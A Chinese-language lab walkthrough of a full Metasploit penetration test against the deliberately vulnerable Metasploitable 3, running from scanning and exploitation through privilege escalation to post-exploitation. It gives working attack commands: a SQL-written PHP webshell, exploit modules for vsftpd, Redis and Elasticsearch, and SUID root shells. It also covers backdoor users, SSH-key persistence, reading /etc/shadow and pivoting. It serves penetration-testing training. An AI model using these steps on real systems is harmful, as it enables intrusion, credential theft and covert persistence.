Metasploit渗透测试实战:从信息收集到后渗透的完整靶场演练

Metasploit渗透测试实战:从信息收集到后渗透的完整靶场演练

1. 项目概述:一次完整的靶场渗透实战演练

拿到这个标题,我仿佛回到了刚接触渗透测试那会儿,面对一个配置好的靶机,手握着强大的Metasploit框架,却不知从何下手的迷茫。今天,我们就来彻底解决这个问题。这篇内容不是简单的命令罗列,而是带你走一遍一个专业渗透测试人员面对一个已知漏洞靶场(Metasploitable 3)时的完整思考路径和操作流程。我们会严格按照官方文档中列出的服务端口顺序进行,但重点在于理解“为什么”要这么做,以及在使用MSF6(Metasploit Framework 6)时,那些官方手册里不会写的实战技巧和踩坑经验。

Metasploitable 3是一个故意配置了多种漏洞的Linux/Windows靶机,是学习和练习渗透测试的绝佳环境。而MSF6作为目前最主流的渗透测试框架,其模块化、集成化的特性让漏洞利用变得高效。本次实操的目标,就是通过一步步探测、分析、利用,最终完全控制这个靶场,在这个过程中,你将深刻理解从信息收集到后渗透的完整链条,并掌握MSF6的核心使用心法。无论你是刚入门的安全爱好者,还是想系统梳理MSF6操作的老手,这篇内容都将提供可直接“抄作业”的详细步骤和背后的逻辑。

2. 环境搭建与前期准备

2.1 靶机与攻击机环境配置

工欲善其事,必先利其器。一个稳定、隔离的实验环境是安全测试的前提。我强烈建议使用虚拟机来构建整个环境,这能保证你的操作不会影响到宿主机或其他网络。

首先,攻击机我推荐使用Kali Linux。你可以从官方网站下载最新的Kali虚拟机镜像,直接导入到VMware Workstation或VirtualBox中。导入后,第一件事不是急着更新,而是配置网络。为了模拟最真实的网络环境,建议将Kali和Metasploitable3的虚拟机网络模式都设置为“NAT模式”或“仅主机模式”。如果设置为“NAT模式”,它们会处于同一个虚拟子网下,可以互相通信;如果设置为“仅主机模式”,则它们会通过一个虚拟的仅主机网络适配器连接,与宿主机完全隔离,这是最安全的做法。我个人的习惯是使用“仅主机模式”,创建一个独立的虚拟网络,比如VMnet1,将两台虚拟机的网络适配器都挂载上去。

接下来是靶机Metasploitable 3的部署。它不像Metasploitable 2那样提供一个现成的OVA文件,而是需要通过Vagrant和VirtualBox来自动构建。你需要先安装好VirtualBox和Vagrant。然后,从GitHub克隆Metasploitable3的仓库。这个过程可能会遇到一些依赖问题,比如缺少vbguest插件或者构建超时。一个关键技巧是:在克隆仓库后,先不要急着vagrant up,编辑项目目录下的Vagrantfile文件,找到关于Windows靶机的配置部分,如果你暂时不需要Windows靶机,可以将其注释掉,先集中精力构建Linux靶机(代号为ub1404)。执行vagrant up ub1404即可。构建过程会下载一个基础镜像并运行脚本安装所有漏洞服务,耗时较长,请保持网络通畅。

注意:Metasploitable 3的默认账号密码是vagrant/vagrant。但我们的目标不是通过这个合法账号登录,而是通过漏洞攻破它。构建完成后,使用vagrant status查看运行状态,使用vagrant ssh ub1404可以登录到靶机进行验证。

最后,确认网络连通性。在Kali攻击机上,使用ping命令测试靶机的IP地址(通常Vagrant会分配一个如192.168.56.10之类的地址)。确保能ping通,这是所有后续步骤的基础。

2.2 MSF6框架初识与基础配置

MSF6是Metasploit Project的核心产品,相比旧版本,它在数据库集成、命令结构和后渗透模块方面有了很大改进。在Kali中,MSF6通常已经预装。启动它只需要在终端输入msfconsole。第一次启动可能会初始化数据库,稍等片刻即可进入那个熟悉的msf6 >提示符。

进入后,我习惯先做几件事来优化体验和确保环境正常。第一,查看数据库连接状态:输入db_status。如果显示“connected”,说明MSF6已经成功连接到了内置的PostgreSQL数据库,所有扫描结果、会话记录、凭证信息都会自动入库,便于查询和管理。如果未连接,可以尝试运行msfdb initmsfdb start进行初始化。

第二,设置几个常用的全局变量。虽然我们可以在每次使用模块时再设置,但提前设好目标(RHOSTS)能节省大量时间。命令是:setg RHOSTS 192.168.56.10(请替换为你的靶机实际IP)。setg表示全局设置,之后所有需要RHOSTS参数的模块都会自动填充这个值。同样,你可以setg RHOST 192.168.56.10用于单目标模块。

第三,了解帮助系统。在msf6提示符下,输入help可以查看所有命令。对某个命令不熟悉,比如search,可以输入search -h查看详细用法。MSF6的模块搜索功能非常强大,支持按类型、名称、路径等多种方式过滤,这是我们找到合适攻击载荷的关键。

3. 系统化信息收集与端口扫描

3.1 初始主机发现与端口扫描策略

在真正开始攻击之前,我们必须像侦探一样,尽可能全面地收集目标信息。盲目攻击是低效且危险的。我们的第一项任务就是找出靶机上开放了哪些端口,运行着什么服务。

MSF6内置了强大的扫描器,但我们先从最经典、最快速的Nmap开始。打开Kali的另一个终端(不要关闭msfconsole),输入:nmap -sS -sV -O -p- 192.168.56.10。我来解释一下这个命令的每个部分及其意图:

  • -sS: 执行TCP SYN扫描。这是一种“半开放”扫描,它发送SYN包,如果收到SYN-ACK回复,就判断端口开放,然后发送RST断开连接,而不完成三次握手。这种方式比全连接扫描(-sT)更隐蔽、更快。
  • -sV: 版本探测。尝试识别端口上运行的服务及其具体版本号。这是关键,因为很多漏洞只存在于特定版本中。
  • -O: 操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标操作系统。
  • -p-: 扫描所有65535个端口。在实战中,我们可能只扫描常见端口(-p 1-1000),但面对Metasploitable3这种“漏洞合集”靶场,必须进行全端口扫描,以免遗漏那些开放在非常见端口上的脆弱服务。

扫描需要一段时间。等待期间,我们可以回到MSF6控制台,使用其内置的端口扫描模块。输入:use auxiliary/scanner/portscan/tcp,然后set RHOSTS 192.168.56.10set PORTS 1-10000(先扫一部分),最后run。MSF6的扫描结果会自动存入数据库。

3.2 服务识别与漏洞初步关联

当Nmap扫描完成后,你会得到一份详细的报告。这份报告就是我们的“攻击地图”。以Metasploitable 3 (Linux)为例,你可能会看到如下一些关键端口(具体版本可能略有差异):

  • 21/tcp: vsftpd 2.3.4 (FTP)
  • 22/tcp: OpenSSH 7.2p2 (SSH)
  • 80/tcp: Apache httpd 2.4.18 (Web服务)
  • 443/tcp: Apache httpd 2.4.18 (HTTPS)
  • 445/tcp: Samba smbd 3.X - 4.X (SMB文件共享)
  • 6379/tcp: Redis key-value store 3.0.6
  • 9200/tcp: Elasticsearch 1.4.2
  • 27017/tcp: MongoDB 3.2.0

看到这些服务及其版本,一个经验丰富的测试者大脑里就应该开始关联已知的公开漏洞了。例如,vsftpd 2.3.4存在著名的“笑脸漏洞”(Backdoor Command Execution)。OpenSSH 7.2p2虽然较新,但可能存在配置错误,如弱口令或允许root登录。Samba 3.x-4.x版本范围很广,需要进一步确定具体版本,历史上存在严重漏洞如EternalBlue(MS17-010)的变种。Elasticsearch 1.4.2版本较低,可能存在未授权访问或远程代码执行漏洞。

此时,不要急于攻击。我们应该将这份端口列表整理好,并按照官方文档的顺序(或者按照服务风险等级)制定一个攻击计划。接下来,我们将按照从Web到系统服务,从简单到复杂的顺序,逐一进行漏洞验证和利用。

4. 按端口顺序的漏洞利用实战

4.1 Web服务漏洞挖掘(80/443端口)

Web服务通常是攻击面最广的入口。我们首先对靶机的80端口进行更深入的侦察。在Kali上使用浏览器访问http://192.168.56.10,或者使用命令行工具curl。你可能会发现一个简单的Apache默认页,或者一些自定义的Web应用。

我们需要使用目录扫描工具来发现隐藏的路径或文件。在Kali终端使用gobusterdirb。例如:gobuster dir -u http://192.168.56.10 -w /usr/share/wordlists/dirb/common.txt。这个命令会尝试用常见目录名去爆破,可能会发现像/admin/phpmyadmin/uploads这样的敏感目录。

假设我们发现了一个/phpmyadmin目录,并且可以访问。这是一个MySQL数据库的Web管理界面。默认情况下,Metasploitable 3的phpMyAdmin可能配置了弱口令,比如root:root或者空密码。成功登录后,我们就获得了数据库的控制权。在phpMyAdmin中,我们可以执行SQL语句。一个经典的提权方法是利用MySQL的“INTO OUTFILE”功能,尝试向Web目录写入一个PHP Webshell。首先,你需要找到网站的绝对路径,可以通过查看phpMyAdmin的变量@@datadir来推测,或者查看错误信息。假设路径是/var/www/html。执行SQL:SELECT \"<?php system($_GET['cmd']); ?>\" INTO OUTFILE '/var/www/html/shell.php'。如果成功,访问http://192.168.56.10/shell.php?cmd=id,就能执行系统命令,返回当前用户权限。

在MSF6中,也有对应的phpMyAdmin漏洞利用模块。我们可以搜索:search phpmyadmin。可能会找到exploit/multi/http/phpmyadmin_lfi_rce之类的模块。使用它需要设置目标IP、端口、以及可能的路径(TARGETURI)。这种模块化的利用往往比手动写入Webshell更稳定,且能直接获得一个Meterpreter会话。

4.2 FTP与SMB服务漏洞利用(21/445端口)

FTP (端口21):Nmap显示是vsftpd 2.3.4。这个版本的后门漏洞利用起来非常简单。在MSF6中,搜索:search vsftpd 2.3.4。你会找到exploit/unix/ftp/vsftpd_234_backdoor。使用这个模块:use exploit/unix/ftp/vsftpd_234_backdoor,设置RHOSTS为目标IP,然后run。如果靶机上的vsftpd确实是有后门的版本,并且以root权限运行(在靶场中很可能就是),那么exploit成功后,你会直接获得一个root权限的shell!这是整个靶场中最快获得最高权限的途径之一。

实操心得:这个漏洞的触发需要在FTP登录时用户名末尾包含一个“:)”笑脸符号。MSF模块自动处理了这一点。手动测试时,可以用ftp 192.168.56.10,然后用户名输入user: )(注意空格和笑脸),密码随意。如果连接后端口6200被打开,说明后门存在。

SMB (端口445):Samba服务漏洞利用是内网渗透的重头戏。首先,我们用MSF6的扫描模块来获取更多信息:use auxiliary/scanner/smb/smb_version,设置目标后run,可以确认Samba的具体版本。然后,尝试枚举共享目录和用户:use auxiliary/scanner/smb/smb_enumsharesuse auxiliary/scanner/smb/smb_enumusers

Metasploitable 3可能配置了匿名可读的共享。我们可以用smbclient尝试连接:smbclient //192.168.56.10/匿名共享名 -N(-N表示无密码)。如果成功,可以浏览和下载文件,或许能找到有用的配置文件或密码哈希。

对于漏洞利用,我们可以尝试著名的“EternalBlue”系列。搜索:search eternalblue。MSF6中有exploit/windows/smb/ms17_010_eternalblue模块,但那是针对Windows的。对于Samba on Linux,我们可能需要尝试其他漏洞,比如exploit/linux/samba/is_known_pipenameexploit/linux/samba/lsa_transnames_heap。使用这些模块需要仔细设置目标类型(TARGET),并可能需要进行一些调试。成功后会获得一个Linux shell。

4.3 数据库与缓存服务漏洞(6379, 9200, 27017端口)

Redis (端口6379):Redis默认没有密码,且可能以root权限运行。这导致未经授权的访问和严重的远程代码执行风险。首先,用redis-cli连接测试:redis-cli -h 192.168.56.10。如果连接成功,可以尝试info命令查看信息。

在MSF6中,有专门的Redis漏洞利用模块。搜索:search redis。例如auxiliary/scanner/redis/redis_login可以用来爆破弱口令,但这里我们假设无密码。更危险的是利用Redis写文件的功能。我们可以通过Redis的CONFIG SET命令改变持久化文件路径,然后写入一个SSH公钥或者Webshell。MSF6的exploit/linux/redis/redis_unauth_exec模块自动化了这个过程。使用它,设置目标IP和端口,并选择合适的目标(如Linux/Unix),它会上传一个Payload,并利用Redis的MODULE LOADSLAVEOF机制执行命令,最终给我们返回一个shell。

Elasticsearch (端口9200):Elasticsearch 1.4.2存在多个漏洞。首先访问http://192.168.56.10:9200/_plugin/head/或直接http://192.168.56.10:9200查看是否可访问。旧版本的Elasticsearch可能存在未授权访问、远程代码执行(CVE-2015-1427)等漏洞。

MSF6中对应的模块是exploit/multi/elasticsearch/script_mvel_rce。这个漏洞允许通过动态脚本执行(MVEL表达式)来运行任意代码。使用模块,设置RHOSTSRPORT为9200,设置TARGETURI/,然后执行。成功后,会获得一个部署了Payload的会话。

MongoDB (端口27017):MongoDB默认也无需认证。使用mongo客户端连接:mongo --host 192.168.56.10。连接后可以列出所有数据库show dbs。虽然未授权访问可以窃取所有数据,但要想获得系统shell,通常需要结合其他漏洞或利用JavaScript执行功能。MSF6中可能有相关的利用模块,但更常见的做法是通过MongoDB导出数据后,寻找敏感信息(如配置文件中的密码)用于其他服务的攻击。

5. 权限提升与后渗透行动

5.1 从普通用户到Root权限

通过前面各种漏洞,我们可能已经获得了一个shell,但很可能不是root权限。例如,通过Web漏洞获得的shell可能是www-data用户,权限很低。我们需要进行权限提升(Privilege Escalation)。

首先,在获得的shell中(如果是Meterpreter会话,先输入shell进入系统shell),进行信息收集:

  1. id:查看当前用户和所属组。
  2. uname -a:查看内核版本。
  3. sudo -l:查看当前用户可以以root身份无需密码运行哪些命令。这是最简单的方式,如果配置不当,可能直接sudo bash就拿到root。
  4. find / -perm -u=s -type f 2>/dev/null:查找所有设置了SUID位的文件。SUID文件在执行时,会以文件所有者的身份运行。如果找到/bin/bash/bin/cp/bin/find等命令的SUID版本,并且所有者是root,就可能存在提权方法。例如,如果find有SUID位,可以执行find . -exec /bin/bash -p \;来启动一个root shell。
  5. cat /etc/crontab:查看系统定时任务。如果发现有一个以root身份运行的定时任务,并且任务执行的脚本或路径我们可以写入,就可以通过篡改脚本内容来提权。

MSF6也提供了自动化提权模块。在Meterpreter会话中,输入run post/multi/recon/local_exploit_suggester。这个模块会根据系统信息,自动扫描并建议可能成功的本地提权漏洞利用模块。你可以根据建议,使用use exploit/linux/local/...之类的模块进行尝试。

5.2 维持访问与横向移动

获得root权限后,我们的目标从“攻破”转向“控制”和“探索”。

维持访问:我们不想每次都需要重新利用漏洞。因此需要创建后门。

  1. 添加用户useradd -m -s /bin/bash backdoor_user,然后passwd backdoor_user设置密码。再将其加入sudo组:usermod -aG sudo backdoor_user
  2. SSH密钥后门:将我们的公钥写入root的authorized_keys文件。在Kali上生成密钥对:ssh-keygen -t rsa,然后将id_rsa.pub的内容,写入靶机/root/.ssh/authorized_keys文件中。之后就可以用私钥直接ssh root@靶机IP。
  3. MSF持久化模块:在Meterpreter会话中,使用run post/linux/manage/sshkey_persistencerun post/multi/manage/autoroute等模块,可以自动化完成持久化任务。

横向移动:如果靶场环境中有多台机器(比如还有一台Windows的Metasploitable 3),我们就要尝试从已控制的机器(跳板机)去攻击内网的其他机器。

  1. 网络探测:在获得的shell中,使用ifconfig查看内网网段,使用arp -anetstat -rn查看路由表。
  2. 端口转发:如果内网机器不能直接访问,可以利用已控机器做跳板。在Meterpreter中,使用portfwd命令。例如,将攻击机本地端口4444转发到内网机器192.168.100.5的3389端口:portfwd add -L 0.0.0.0 -l 4444 -p 3389 -r 192.168.100.5。然后,在攻击机上就可以通过访问本地的4444端口来连接内网机器的3389(RDP)服务了。
  3. 凭证窃取:在Linux上,尝试读取/etc/shadow文件获取密码哈希,用johnhashcat进行破解。也可以搜索包含密码的配置文件,如Web应用的config.phpdatabase.yml等。

6. 常见问题排查与实战心得

6.1 漏洞利用失败原因深度分析

在实际操作中,十次攻击可能只有两三次能一击即中。遇到失败时,不要慌张,按以下步骤排查:

  1. 服务版本不匹配:这是最常见的原因。Nmap的-sV探测结果可能不精确,或者靶机上的服务虽然版本号符合,但已经打了补丁。解决方案:尝试使用该服务的其他漏洞模块。在MSF6中,对一个服务(如Samba)使用search功能,查看所有相关模块,从auxiliary(信息收集)到exploit(漏洞利用)都试一试。有时一个CVE编号对应多个利用方式。

  2. 网络问题与防火墙:靶机可能配置了本地防火墙(如iptables),只允许特定IP或端口的访问。或者你的扫描/攻击流量被过滤了。解决方案:在获得的任何一个shell中,检查iptables规则:iptables -L -n -v。如果发现规则限制,可以尝试用root权限清空规则:iptables -F(这是一个破坏性操作,仅限靶场)。另外,确保你的攻击机和靶机在同一个网段,且没有其他网络设备干扰。

  3. Payload选择不当:MSF在发起攻击时,需要你选择一个Payload(如cmd/unix/reverse_bash,linux/x64/meterpreter/reverse_tcp)。如果目标系统架构(x86, x64, ARM)或语言环境与Payload不兼容,就会失败。解决方案:首先尽可能收集系统信息(uname -m)。在MSF中设置模块后,使用show payloads查看所有兼容的Payload。对于Linux,cmd/unix/reverse_bashcmd/unix/reverse_netcat通常兼容性较好;meterpreter功能强大但可能被拦截。如果反向连接失败,可以尝试绑定型Payload(bind_tcp),但需要你能直接访问靶机的端口。

  4. 反制与依赖缺失:某些漏洞利用需要目标系统上存在特定的库或程序(如gcc,python)。如果缺失,Payload编译或执行会失败。解决方案:查看模块的Info信息(info命令),了解其依赖。或者,在攻击失败后,检查Meterpreter或模块返回的错误信息。有时可以尝试使用更通用的、无需编译的Payload。

6.2 MSF6高效使用技巧与命令备忘

掌握以下技巧,能让你的MSF6操作效率倍增:

  • 工作区管理:使用workspace命令管理不同项目。workspace -a pentest_lab创建新工作区,workspace pentest_lab切换。所有扫描结果、主机信息、会话都会隔离保存,非常清晰。
  • 资源脚本:对于重复性操作,可以写成.rc资源脚本。例如,创建一个scan.rc文件,内容如下:
    use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.10 set PORTS 1-1000 run use auxiliary/scanner/smb/smb_version run
    在msfconsole中,使用resource /path/to/scan.rc即可自动执行所有命令。
  • 会话管理
    • sessions -l:列出所有活跃会话。
    • sessions -i <ID>:交互式连接到指定会话。
    • 在会话中,按Ctrl+Z可以后台化当前会话,回到msf提示符,而不中断会话连接。
    • sessions -k <ID>:终止指定会话。
  • 搜索技巧
    • search type:exploit name:elasticsearch:按类型和名称搜索。
    • search cve:2015-1427:按CVE编号搜索。
    • search platform:linux:按平台搜索。
  • 模块选项快速设置:使用setg设置全局变量(如RHOSTS)后,在新模块中会自动填充。使用show options查看当前模块需要设置哪些参数,其中Required列为yes的是必须设置的。
  • Meterpreter常用命令
    • sysinfo:查看系统信息。
    • getuid:查看当前权限。
    • ps:列出进程。
    • migrate <PID>:将Meterpreter会话迁移到另一个进程(如explorer.exe),增加稳定性。
    • download /path/to/file:从靶机下载文件。
    • upload /local/file /remote/path:上传文件到靶机。
    • shell:切换到系统命令行。
    • run post/multi/manage/autoroute:自动添加路由,用于横向移动。

最后,也是最重要的心得:耐心和记录。渗透测试很少是一帆风顺的。每次失败都是一次学习机会。务必详细记录你的每一步操作、使用的命令、得到的结果和错误信息。这不仅能帮助你复盘,也能在遇到类似场景时快速找到解决方案。Metasploitable 3这样的靶场,就是让你在安全的环境中经历这些失败和成功,从而构建起真正的实战能力。